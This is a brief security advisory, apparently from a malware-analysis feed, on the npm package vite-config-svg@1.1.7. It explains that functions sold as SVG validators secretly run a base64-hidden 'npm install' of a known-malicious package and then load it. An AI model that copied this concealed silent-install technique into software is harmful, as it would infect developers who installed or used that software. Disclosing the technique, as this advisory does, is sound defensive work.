vite-config-svg@1.1.7

Analysis

vite-config-svg is a combosquat of the Vite build-tool ecosystem. Its exported getPlugin() and setPlugin() functions, documented as SVG file validators, instead spawn a child process that runs "npm install rollup-plugin-polyfill-helper --no-save --silent --no-audit --no-fund" and then require() the installed package. The command and package name are base64-encoded in the source to hide the payload. rollup-plugin-polyfill-helper is a known-malicious package published by the same account. Any consumer calling the exported API will silently install and load this malware.